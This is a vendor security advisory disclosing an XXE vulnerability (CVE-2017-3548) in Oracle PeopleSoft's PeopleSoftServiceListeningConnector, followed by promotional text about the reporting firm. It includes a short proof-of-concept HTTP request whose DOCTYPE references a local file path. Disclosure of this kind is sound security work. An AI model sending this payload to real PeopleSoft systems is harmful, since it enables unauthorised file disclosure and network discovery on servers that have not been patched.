Oracle PeopleSoft - 'PeopleSoftServiceListeningConnector' XML External Entity via DOCTYPE

Application: Oracle PeopleSoft

Versions Affected: PeopleSoft HCM 9.2 on PeopleTools 8.55

Vendor URL: http://oracle.com

Bug: XXE

Reported: 23.12.2016

Vendor response: 24.12.2016

Date of Public Advisory: 18.04.2017

Reference: Oracle CPU April 2017

Author: Nadya Krivdyuk (ERPScan)





Description



1. ADVISORY INFORMATION

Title:[ERPSCAN-17-020] XXE VIA DOCTYPE in PeopleSoft

PeopleSoftServiceListeningConnector

Advisory ID: [ERPSCAN-17-020]

Risk: high

CVE: CVE-2017-3548

Advisory URL: https://erpscan.com/advisories/erpscan-17-020-xxe-via-doctype-peoplesoft/

Date published: 18.04.2017

Vendors contacted: Oracle





2. VULNERABILITY INFORMATION



Class: XXE

Impact: File disclosure, network discovery

Remotely Exploitable: yes

Locally Exploitable: no



CVSS Information

CVSS Base Score v3:    8.0 / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Network (N)

AC : Attack Complexity (Required attack complexity) High (H)

PR : Privileges Required (Level of privileges needed to exploit) High (H)

UI : User Interaction (Required user participation) None (N)

S : Scope (Change in scope due to impact caused to components beyond

the vulnerable component) Changed (C)

C : Impact to Confidentiality High (H)

I : Impact to Integrity High (H)

A : Impact to Availability High (H)



3. VULNERABILITY DESCRIPTION



A malicious user can modify an XML-based request to include XML

content that is then parsed locally.



4. VULNERABLE PACKAGES



PeopleSoft HCM 9.2 on PeopleTools 8.55



5. SOLUTIONS AND WORKAROUNDS



To correct this vulnerability, implement Oracle CPU April 2017



6. AUTHOR



Nadya Krivdyuk





7. TECHNICAL DESCRIPTION



An attacker can use an XML external entity vulnerability to send

specially crafted unauthorized XML requests, which will be processed

by the XML parser. The attacker can use an XML external entity

vulnerability for getting unauthorised access to the OS file system.



PoC





POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1

Host: 172.16.2.91:8000

Content-type: text/xml

<!DOCTYPE a PUBLIC "-//B/A/EN" "C:\windows">



8. ABOUT ERPScan Research



ERPScan research team specializes in vulnerability research and

analysis of critical enterprise applications. It was acknowledged

multiple times by the largest software vendors like SAP, Oracle,

Microsoft, IBM, VMware, HP for discovering more than 400

vulnerabilities in their solutions (200 of them just in SAP!).



ERPScan researchers are proud of discovering new types of

vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The

Best Server-Side Bug" nomination at BlackHat 2013.



ERPScan experts participated as speakers, presenters, and trainers at

60+ prime international security conferences in 25+ countries across

the continents ( e.g. BlackHat, RSA, HITB) and conducted private

trainings for several Fortune 2000 companies.



ERPScan researchers carry out the EAS-SEC project that is focused on

enterprise application security awareness by issuing annual SAP

security researches.



ERPScan experts were interviewed in specialized info-sec resources and

featured in major media worldwide. Among them there are Reuters,

Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,

Chinabyte, etc.



Our team consists of highly-qualified researchers, specialized in

various fields of cybersecurity (from web application to ICS/SCADA

systems), gathering their experience to conduct the best SAP security

research.



9. ABOUT ERPScan



ERPScan is the most respected and credible Business Application

Cybersecurity provider. Founded in 2010, the company operates globally

and enables large Oil and Gas, Financial, Retail and other

organizations to secure their mission-critical processes. Named as an

‘Emerging Vendor’ in Security by CRN, listed among “TOP 100 SAP

Solution providers” and distinguished by 30+ other awards, ERPScan is

the leading SAP SE partner in discovering and resolving security

vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to

assist in improving the security of their latest solutions.



ERPScan’s primary mission is to close the gap between technical and

business security, and provide solutions for CISO's to evaluate and

secure SAP and Oracle ERP systems and business-critical applications

from both cyberattacks and internal fraud. As a rule, our clients are

large enterprises, Fortune 2000 companies and MSPs, whose requirements

are to actively monitor and manage security of vast SAP and Oracle

landscapes on a global scale.



We ‘follow the sun’ and have two hubs, located in Palo Alto and

Amsterdam, to provide threat intelligence services, continuous support

and to operate local offices and partner network spanning 20+

countries around the globe.









Address USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301



Phone: 650.798.5255



Twitter: @erpscan



Scoop-it: Business Application Security